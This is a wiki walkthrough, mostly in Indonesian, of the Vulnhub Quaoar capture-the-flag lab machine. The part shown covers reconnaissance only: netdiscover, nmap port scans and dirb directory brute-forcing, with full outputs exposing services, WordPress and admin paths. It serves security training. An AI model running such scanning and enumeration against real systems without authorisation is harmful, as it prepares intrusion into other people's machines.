CTF Quaoar: Walkthrough

From OnnoWiki
Jump to navigation Jump to search

Ambil Quaoar dari Vulnhub

Here are the tools you can research to help you to own this machine. nmap dirb / dirbuster / BurpSmartBuster nikto wpscan hydra + Your Brain Coffee Google 🙂

Goals: This machine is intended to be doable by someone who is interested in learning computer security There are 3 flags on this machine

  1. Get a shell
  2. Get root access
  3. There is a post exploitation flag on the box


Cek Mesin

Gunakan

netdiscover -r 192.168.0.0/24
Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                                                   
                                                                                                                                                                                                                                 
 21 Captured ARP Req/Rep packets, from 20 hosts.   Total size: 1260                                                                                                                                                              
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 .....
 192.168.0.122   08:00:27:b2:18:3a      1      60  PCS Systemtechnik GmbH
 ......

Scan Quaoar

sudo su
nmap -v -A 192.168.0.122
nmap -p1-65535 -A -T4 -sS 192.168.0.122


Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-26 20:28 EST
Nmap scan report for 192.168.0.122
Host is up (0.0011s latency).
Not shown: 65526 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 
2.0)
| ssh-hostkey: 
|   1024 d0:0a:61:d5:d0:3a:38:c2:67:c3:c3:42:8f:ae:ab:e5 (DSA)
|   2048 bc:e0:3b:ef:97:99:9a:8b:9e:96:cf:02:cd:f1:5e:dc (RSA)
|_  256 8c:73:46:83:98:8f:0d:f7:f5:c8:e4:58:68:0f:80:75 (ECDSA)
53/tcp  open  domain      ISC BIND 9.8.1-P1
| dns-nsid: 
|_  bind.version: 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_Hackers
110/tcp open  pop3?
|_pop3-capabilities: RESP-CODES TOP UIDL SASL CAPA STLS PIPELINING
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2023-01-27T01:31:44+00:00; +1s from scanner time.
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2023-01-27T01:31:44+00:00; +1s from scanner time.
|_imap-capabilities: more STARTTLS ENABLE post-login LITERAL+ listed capabilities 
Pre-login have IDLE ID OK LOGINDISABLEDA0001 SASL-IR IMAP4rev1 LOGIN-REFERRALS
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
445/tcp open  netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
|_ssl-date: 2023-01-27T01:31:44+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
995/tcp open  ssl/pop3s?
|_ssl-date: 2023-01-27T01:31:44+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
MAC Address: 08:00:27:B2:18:3A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> 
(unknown)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.6.3)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-01-26T20:31:31-05:00
|_clock-skew: mean: 50m00s, deviation: 2h02m28s, median: 0s

TRACEROUTE
HOP RTT     ADDRESS
1   1.06 ms 192.168.0.122 

OS and Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.36 seconds


Service yang di temukan,

Port	Service	Product
22	ssh	OpenSSH
53	domain	ISC BIND
80	http	Apache httpd
110	pop3	
139	netbios-ssn	Samba smbd
143	imap	Dovecot imapd
445	netbios-ssn	Samba smbd
993	imap	Dovecot imapd
995	pop3s	

Beberapa informasi menarik dari berbagai servis

ssh	OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0
domain	bind.version: 9.8.1-P1
http	folder Hackers, robots.txt
pop3	dovecot pop3d supporting SASL TOP PIPELINING UIDL RESP-CODES STLS CAPA
netbios workgroup: WORKGROUP
imap	post-login ID OK IMAP4rev1 LITERAL+ listed STARTTLS 

Tampaknya yang mungkin menarik untuk di exploit adalah port web 80.

Berburu Flag

Pakai dirb

Lakukan,

dirb http://192.168.0.122
dirb http://192.168.0.122 /usr/share/dirb/wordlists/big.txt -o dirb_scan.txt -w

Hasilnya

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Jan 23 21:31:24 2023
URL_BASE: http://192.168.0.122/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt  
-----------------

GENERATED WORDS: 4612                                                           

---- Scanning URL: http://192.168.0.122/ ----
+ http://192.168.0.122/cgi-bin/ (CODE:403|SIZE:289)                                                                                                                                                                              
+ http://192.168.0.122/hacking (CODE:200|SIZE:616848)                                                                                                                                                                            
+ http://192.168.0.122/index (CODE:200|SIZE:100)                                                                                                                                                                                 
+ http://192.168.0.122/index.html (CODE:200|SIZE:100)                                                                                                                                                                            
+ http://192.168.0.122/LICENSE (CODE:200|SIZE:1672)                                                                                                                                                                              
+ http://192.168.0.122/robots (CODE:200|SIZE:271)                                                                                                                                                                                
+ http://192.168.0.122/robots.txt (CODE:200|SIZE:271)                                                                                                                                                                            
+ http://192.168.0.122/server-status (CODE:403|SIZE:294)                                                                                                                                                                         
==> DIRECTORY: http://192.168.0.122/upload/                                                                                                                                                                                      
==> DIRECTORY: http://192.168.0.122/wordpress/                                                                                                                                                                                   
                                                                                                                                                                                                                                  
---- Entering directory: http://192.168.0.122/upload/ ----
==> DIRECTORY: http://192.168.0.122/upload/account/                                                                                                                                                                              
==> DIRECTORY: http://192.168.0.122/upload/admins/                                                                                                                                                                               
+ http://192.168.0.122/upload/config (CODE:200|SIZE:0)                                                                                                                                                                           
==> DIRECTORY: http://192.168.0.122/upload/framework/                                                                                                                                                                            
==> DIRECTORY: http://192.168.0.122/upload/include/                                                                                                                                                                              
+ http://192.168.0.122/upload/index (CODE:200|SIZE:3040)                                                                                                                                                                         
+ http://192.168.0.122/upload/index.php (CODE:200|SIZE:3040)                                                                                                                                                                     
==> DIRECTORY: http://192.168.0.122/upload/languages/                                                                                                                                                                            
==> DIRECTORY: http://192.168.0.122/upload/media/                                                                                                                                                                                
==> DIRECTORY: http://192.168.0.122/upload/modules/                                                                                                                                                                              
==> DIRECTORY: http://192.168.0.122/upload/page/                                                                                                                                                                                 
==> DIRECTORY: http://192.168.0.122/upload/search/                                                                                                                                                                               
==> DIRECTORY: http://192.168.0.122/upload/temp/                                                                                                                                                                                 
==> DIRECTORY: http://192.168.0.122/upload/templates/                                                                                                                                                                            
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/ ----
==> DIRECTORY: http://192.168.0.122/wordpress/index/                                                                                                                                                                             
+ http://192.168.0.122/wordpress/index.php (CODE:301|SIZE:0)                                                                                                                                                                     
+ http://192.168.0.122/wordpress/license (CODE:200|SIZE:19930)                                                                                                                                                                   
+ http://192.168.0.122/wordpress/readme (CODE:200|SIZE:7195)                                                                                                                                                                     
==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/                                                                                                                                                                          
+ http://192.168.0.122/wordpress/wp-blog-header (CODE:200|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/wordpress/wp-config (CODE:200|SIZE:0)                                                                                                                                                                     
==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/                                                                                                                                                                        
+ http://192.168.0.122/wordpress/wp-cron (CODE:200|SIZE:0)                                                                                                                                                                       
==> DIRECTORY: http://192.168.0.122/wordpress/wp-includes/                                                                                                                                                                       
+ http://192.168.0.122/wordpress/wp-links-opml (CODE:200|SIZE:217)                                                                                                                                                               
+ http://192.168.0.122/wordpress/wp-load (CODE:200|SIZE:0)                                                                                                                                                                       
+ http://192.168.0.122/wordpress/wp-login (CODE:200|SIZE:2530)                                                                                                                                                                   
+ http://192.168.0.122/wordpress/wp-mail (CODE:500|SIZE:3011)                                                                                                                                                                    
+ http://192.168.0.122/wordpress/wp-settings (CODE:500|SIZE:0)                                                                                                                                                                   
+ http://192.168.0.122/wordpress/wp-signup (CODE:302|SIZE:0)                                                                                                                                                                     
+ http://192.168.0.122/wordpress/wp-trackback (CODE:200|SIZE:135)                                                                                                                                                                
+ http://192.168.0.122/wordpress/xmlrpc (CODE:200|SIZE:42)                                                                                                                                                                       
+ http://192.168.0.122/wordpress/xmlrpc.php (CODE:200|SIZE:42)                                                                                                                                                                   
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/account/ ----
==> DIRECTORY: http://192.168.0.122/upload/account/css/                                                                                                                                                                          
+ http://192.168.0.122/upload/account/forgot (CODE:302|SIZE:0)                                                                                                                                                                   
+ http://192.168.0.122/upload/account/index (CODE:302|SIZE:0)                                                                                                                                                                    
+ http://192.168.0.122/upload/account/index.php (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/upload/account/login (CODE:302|SIZE:0)                                                                                                                                                                    
+ http://192.168.0.122/upload/account/logout (CODE:302|SIZE:0)                                                                                                                                                                   
+ http://192.168.0.122/upload/account/preferences (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/upload/account/signup (CODE:302|SIZE:0)                                                                                                                                                                   
==> DIRECTORY: http://192.168.0.122/upload/account/templates/                                                                                                                                                                    
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/ ----
==> DIRECTORY: http://192.168.0.122/upload/admins/access/                                                                                                                                                                        
==> DIRECTORY: http://192.168.0.122/upload/admins/addons/                                                                                                                                                                        
==> DIRECTORY: http://192.168.0.122/upload/admins/admintools/                                                                                                                                                                    
==> DIRECTORY: http://192.168.0.122/upload/admins/groups/                                                                                                                                                                        
+ http://192.168.0.122/upload/admins/index (CODE:302|SIZE:0)                                                                                                                                                                     
+ http://192.168.0.122/upload/admins/index.php (CODE:302|SIZE:0)                                                                                                                                                                 
==> DIRECTORY: http://192.168.0.122/upload/admins/interface/                                                                                                                                                                     
==> DIRECTORY: http://192.168.0.122/upload/admins/languages/                                                                                                                                                                     
==> DIRECTORY: http://192.168.0.122/upload/admins/login/                                                                                                                                                                         
==> DIRECTORY: http://192.168.0.122/upload/admins/logout/                                                                                                                                                                        
==> DIRECTORY: http://192.168.0.122/upload/admins/media/                                                                                                                                                                         
==> DIRECTORY: http://192.168.0.122/upload/admins/modules/                                                                                                                                                                       
==> DIRECTORY: http://192.168.0.122/upload/admins/pages/                                                                                                                                                                         
==> DIRECTORY: http://192.168.0.122/upload/admins/preferences/                                                                                                                                                                   
==> DIRECTORY: http://192.168.0.122/upload/admins/profiles/                                                                                                                                                                      
==> DIRECTORY: http://192.168.0.122/upload/admins/service/                                                                                                                                                                       
==> DIRECTORY: http://192.168.0.122/upload/admins/settings/                                                                                                                                                                      
==> DIRECTORY: http://192.168.0.122/upload/admins/start/                                                                                                                                                                         
==> DIRECTORY: http://192.168.0.122/upload/admins/support/                                                                                                                                                                       
==> DIRECTORY: http://192.168.0.122/upload/admins/templates/                                                                                                                                                                     
==> DIRECTORY: http://192.168.0.122/upload/admins/users/                                                                                                                                                                         
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/framework/ ----
==> DIRECTORY: http://192.168.0.122/upload/framework/functions/                                                                                                                                                                  
+ http://192.168.0.122/upload/framework/index (CODE:302|SIZE:0)                                                                                                                                                                  
+ http://192.168.0.122/upload/framework/index.php (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/upload/framework/summary (CODE:403|SIZE:88)                                                                                                                                                               
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/include/ ----
+ http://192.168.0.122/upload/include/index (CODE:302|SIZE:0)                                                                                                                                                                    
+ http://192.168.0.122/upload/include/index.php (CODE:302|SIZE:0)                                                                                                                                                                
==> DIRECTORY: http://192.168.0.122/upload/include/yui/                                                                                                                                                                          
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/languages/ ----
+ http://192.168.0.122/upload/languages/index (CODE:302|SIZE:0)                                                                                                                                                                  
+ http://192.168.0.122/upload/languages/index.php (CODE:302|SIZE:0)                                                                                                                                                              
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/media/ ----
+ http://192.168.0.122/upload/media/index (CODE:302|SIZE:0)                                                                                                                                                                      
+ http://192.168.0.122/upload/media/index.php (CODE:302|SIZE:0)                                                                                                                                                                  
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/modules/ ----
+ http://192.168.0.122/upload/modules/admin (CODE:403|SIZE:79)                                                                                                                                                                   
+ http://192.168.0.122/upload/modules/admin.php (CODE:403|SIZE:79)                                                                                                                                                               
+ http://192.168.0.122/upload/modules/index (CODE:302|SIZE:0)                                                                                                                                                                    
+ http://192.168.0.122/upload/modules/index.php (CODE:302|SIZE:0)                                                                                                                                                                
==> DIRECTORY: http://192.168.0.122/upload/modules/news/                                                                                                                                                                         
==> DIRECTORY: http://192.168.0.122/upload/modules/wysiwyg/                                                                                                                                                                      
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/page/ ----
+ http://192.168.0.122/upload/page/index (CODE:200|SIZE:0)                                                                                                                                                                       
+ http://192.168.0.122/upload/page/index.php (CODE:200|SIZE:0)                                                                                                                                                                   
==> DIRECTORY: http://192.168.0.122/upload/page/posts/                                                                                                                                                                           
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/search/ ----
+ http://192.168.0.122/upload/search/index (CODE:200|SIZE:3627)                                                                                                                                                                  
+ http://192.168.0.122/upload/search/index.php (CODE:200|SIZE:3627)                                                                                                                                                              
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/temp/ ----
+ http://192.168.0.122/upload/temp/index (CODE:302|SIZE:0)                                                                                                                                                                       
+ http://192.168.0.122/upload/temp/index.php (CODE:302|SIZE:0)                                                                                                                                                                   
==> DIRECTORY: http://192.168.0.122/upload/temp/search/                                                                                                                                                                          
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/templates/ ----
==> DIRECTORY: http://192.168.0.122/upload/templates/blank/                                                                                                                                                                      
+ http://192.168.0.122/upload/templates/index (CODE:302|SIZE:0)                                                                                                                                                                  
+ http://192.168.0.122/upload/templates/index.php (CODE:302|SIZE:0)                                                                                                                                                              
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/index/ ----
(!) WARNING: NOT_FOUND[] not stable, unable to determine correct URLs {30X}.
    (Try using FineTunning: '-f')
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-admin/ ----
+ http://192.168.0.122/wordpress/wp-admin/about (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/wordpress/wp-admin/admin (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/wordpress/wp-admin/comment (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/wordpress/wp-admin/credits (CODE:302|SIZE:0)                                                                                                                                                              
==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/css/                                                                                                                                                                      
+ http://192.168.0.122/wordpress/wp-admin/customize (CODE:302|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/wordpress/wp-admin/edit (CODE:302|SIZE:0)                                                                                                                                                                 
+ http://192.168.0.122/wordpress/wp-admin/export (CODE:302|SIZE:0)                                                                                                                                                               
==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/images/                                                                                                                                                                   
+ http://192.168.0.122/wordpress/wp-admin/import (CODE:302|SIZE:0)                                                                                                                                                               
==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/includes/                                                                                                                                                                 
+ http://192.168.0.122/wordpress/wp-admin/index (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/wordpress/wp-admin/index.php (CODE:302|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/wordpress/wp-admin/install (CODE:200|SIZE:1080)                                                                                                                                                           
==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/js/                                                                                                                                                                       
+ http://192.168.0.122/wordpress/wp-admin/link (CODE:302|SIZE:0)                                                                                                                                                                 
==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/maint/                                                                                                                                                                    
+ http://192.168.0.122/wordpress/wp-admin/media (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/wordpress/wp-admin/menu (CODE:500|SIZE:0)                                                                                                                                                                 
+ http://192.168.0.122/wordpress/wp-admin/moderation (CODE:302|SIZE:0)                                                                                                                                                           
==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/network/                                                                                                                                                                  
+ http://192.168.0.122/wordpress/wp-admin/options (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/wordpress/wp-admin/plugins (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/wordpress/wp-admin/post (CODE:302|SIZE:0)                                                                                                                                                                 
+ http://192.168.0.122/wordpress/wp-admin/profile (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/wordpress/wp-admin/themes (CODE:302|SIZE:0)                                                                                                                                                               
+ http://192.168.0.122/wordpress/wp-admin/tools (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/wordpress/wp-admin/update (CODE:302|SIZE:0)                                                                                                                                                               
+ http://192.168.0.122/wordpress/wp-admin/upgrade (CODE:200|SIZE:1173)                                                                                                                                                           
+ http://192.168.0.122/wordpress/wp-admin/upload (CODE:302|SIZE:0)                                                                                                                                                               
==> DIRECTORY: http://192.168.0.122/wordpress/wp-admin/user/                                                                                                                                                                     
+ http://192.168.0.122/wordpress/wp-admin/users (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/wordpress/wp-admin/widgets (CODE:302|SIZE:0)                                                                                                                                                              
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-content/ ----
+ http://192.168.0.122/wordpress/wp-content/index (CODE:200|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/wordpress/wp-content/index.php (CODE:200|SIZE:0)                                                                                                                                                          
==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/plugins/                                                                                                                                                                
==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/themes/                                                                                                                                                                 
==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/upgrade/                                                                                                                                                                
==> DIRECTORY: http://192.168.0.122/wordpress/wp-content/uploads/                                                                                                                                                                
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/account/css/ ----
+ http://192.168.0.122/upload/account/css/frontend (CODE:200|SIZE:1931)                                                                                                                                                          
+ http://192.168.0.122/upload/account/css/index (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/upload/account/css/index.php (CODE:302|SIZE:0)                                                                                                                                                            
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/account/templates/ ----
+ http://192.168.0.122/upload/account/templates/index (CODE:302|SIZE:0)                                                                                                                                                          
+ http://192.168.0.122/upload/account/templates/index.php (CODE:302|SIZE:0)                                                                                                                                                      
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/access/ ----
+ http://192.168.0.122/upload/admins/access/index (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/upload/admins/access/index.php (CODE:302|SIZE:0)                                                                                                                                                          
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/addons/ ----
+ http://192.168.0.122/upload/admins/addons/index (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/upload/admins/addons/index.php (CODE:302|SIZE:0)                                                                                                                                                          
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/admintools/ ----
+ http://192.168.0.122/upload/admins/admintools/index (CODE:302|SIZE:0)                                                                                                                                                          
+ http://192.168.0.122/upload/admins/admintools/index.php (CODE:302|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/upload/admins/admintools/tool (CODE:302|SIZE:0)                                                                                                                                                           
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/groups/ ----
+ http://192.168.0.122/upload/admins/groups/add (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/upload/admins/groups/groups (CODE:302|SIZE:0)                                                                                                                                                             
+ http://192.168.0.122/upload/admins/groups/index (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/upload/admins/groups/index.php (CODE:302|SIZE:0)                                                                                                                                                          
+ http://192.168.0.122/upload/admins/groups/save (CODE:302|SIZE:0)                                                                                                                                                               
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/interface/ ----
+ http://192.168.0.122/upload/admins/interface/index (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/admins/interface/index.php (CODE:302|SIZE:0)                                                                                                                                                       
+ http://192.168.0.122/upload/admins/interface/version (CODE:403|SIZE:90)                                                                                                                                                        
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/languages/ ----
+ http://192.168.0.122/upload/admins/languages/details (CODE:302|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/upload/admins/languages/index (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/admins/languages/index.php (CODE:302|SIZE:0)                                                                                                                                                       
+ http://192.168.0.122/upload/admins/languages/install (CODE:500|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/upload/admins/languages/uninstall (CODE:302|SIZE:0)                                                                                                                                                       
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/login/ ----
==> DIRECTORY: http://192.168.0.122/upload/admins/login/forgot/                                                                                                                                                                  
+ http://192.168.0.122/upload/admins/login/index (CODE:200|SIZE:2929)                                                                                                                                                            
+ http://192.168.0.122/upload/admins/login/index.php (CODE:200|SIZE:2929)                                                                                                                                                        
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/logout/ ----
+ http://192.168.0.122/upload/admins/logout/index (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/upload/admins/logout/index.php (CODE:302|SIZE:0)                                                                                                                                                          
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/media/ ----
+ http://192.168.0.122/upload/admins/media/index (CODE:302|SIZE:0)                                                                                                                                                               
+ http://192.168.0.122/upload/admins/media/index.php (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/admins/media/thumb (CODE:200|SIZE:0)                                                                                                                                                               
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/modules/ ----
+ http://192.168.0.122/upload/admins/modules/details (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/admins/modules/index (CODE:302|SIZE:0)                                                                                                                                                             
+ http://192.168.0.122/upload/admins/modules/index.php (CODE:302|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/upload/admins/modules/install (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/admins/modules/uninstall (CODE:302|SIZE:0)                                                                                                                                                         
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/pages/ ----
+ http://192.168.0.122/upload/admins/pages/add (CODE:302|SIZE:0)                                                                                                                                                                 
+ http://192.168.0.122/upload/admins/pages/delete (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/upload/admins/pages/index (CODE:302|SIZE:0)                                                                                                                                                               
+ http://192.168.0.122/upload/admins/pages/index.php (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/admins/pages/modify (CODE:302|SIZE:0)                                                                                                                                                              
+ http://192.168.0.122/upload/admins/pages/restore (CODE:302|SIZE:0)                                                                                                                                                             
+ http://192.168.0.122/upload/admins/pages/save (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/upload/admins/pages/sections (CODE:302|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/upload/admins/pages/settings (CODE:302|SIZE:0)                                                                                                                                                             
+ http://192.168.0.122/upload/admins/pages/trash (CODE:302|SIZE:0)                                                                                                                                                                
                                                                                                                                                                                                                                  
---- Entering directory: http://192.168.0.122/upload/admins/preferences/ ----
+ http://192.168.0.122/upload/admins/preferences/index (CODE:302|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/upload/admins/preferences/index.php (CODE:302|SIZE:0)                                                                                                                                                     
+ http://192.168.0.122/upload/admins/preferences/save (CODE:302|SIZE:0)                                                                                                                                                          
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/profiles/ ----
+ http://192.168.0.122/upload/admins/profiles/index (CODE:200|SIZE:324)                                                                                                                                                          
+ http://192.168.0.122/upload/admins/profiles/index.php (CODE:200|SIZE:324)                                                                                                                                                      
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/service/ ----
+ http://192.168.0.122/upload/admins/service/index (CODE:302|SIZE:0)                                                                                                                                                             
+ http://192.168.0.122/upload/admins/service/index.php (CODE:302|SIZE:0)                                                                                                                                                         
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/settings/ ----
+ http://192.168.0.122/upload/admins/settings/index (CODE:302|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/upload/admins/settings/index.php (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/upload/admins/settings/save (CODE:302|SIZE:0)                                                                                                                                                             
+ http://192.168.0.122/upload/admins/settings/setting (CODE:200|SIZE:3839)                                                                                                                                                       
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/start/ ----
+ http://192.168.0.122/upload/admins/start/index (CODE:302|SIZE:0)                                                                                                                                                               
+ http://192.168.0.122/upload/admins/start/index.php (CODE:302|SIZE:0)                                                                                                                                                           
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/support/ ----
+ http://192.168.0.122/upload/admins/support/index (CODE:302|SIZE:0)                                                                                                                                                             
+ http://192.168.0.122/upload/admins/support/index.php (CODE:302|SIZE:0)                                                                                                                                                         
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/templates/ ----
+ http://192.168.0.122/upload/admins/templates/details (CODE:302|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/upload/admins/templates/index (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/admins/templates/index.php (CODE:302|SIZE:0)                                                                                                                                                       
+ http://192.168.0.122/upload/admins/templates/install (CODE:302|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/upload/admins/templates/uninstall (CODE:302|SIZE:0)                                                                                                                                                       
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/users/ ----
+ http://192.168.0.122/upload/admins/users/add (CODE:302|SIZE:0)                                                                                                                                                                 
+ http://192.168.0.122/upload/admins/users/index (CODE:302|SIZE:0)                                                                                                                                                               
+ http://192.168.0.122/upload/admins/users/index.php (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/admins/users/save (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/upload/admins/users/users (CODE:302|SIZE:0)                                                                                                                                                               
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/framework/functions/ ----
+ http://192.168.0.122/upload/framework/functions/index (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/upload/framework/functions/index.php (CODE:302|SIZE:0)                                                                                                                                                    
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/include/yui/ ----
==> DIRECTORY: http://192.168.0.122/upload/include/yui/event/                                                                                                                                                                    
+ http://192.168.0.122/upload/include/yui/index (CODE:302|SIZE:0)                                                                                                                                                                
+ http://192.168.0.122/upload/include/yui/index.php (CODE:302|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/upload/include/yui/README (CODE:200|SIZE:8488)                                                                                                                                                            
==> DIRECTORY: http://192.168.0.122/upload/include/yui/yahoo/                                                                                                                                                                    
                                                                                                                                                                                                                                 
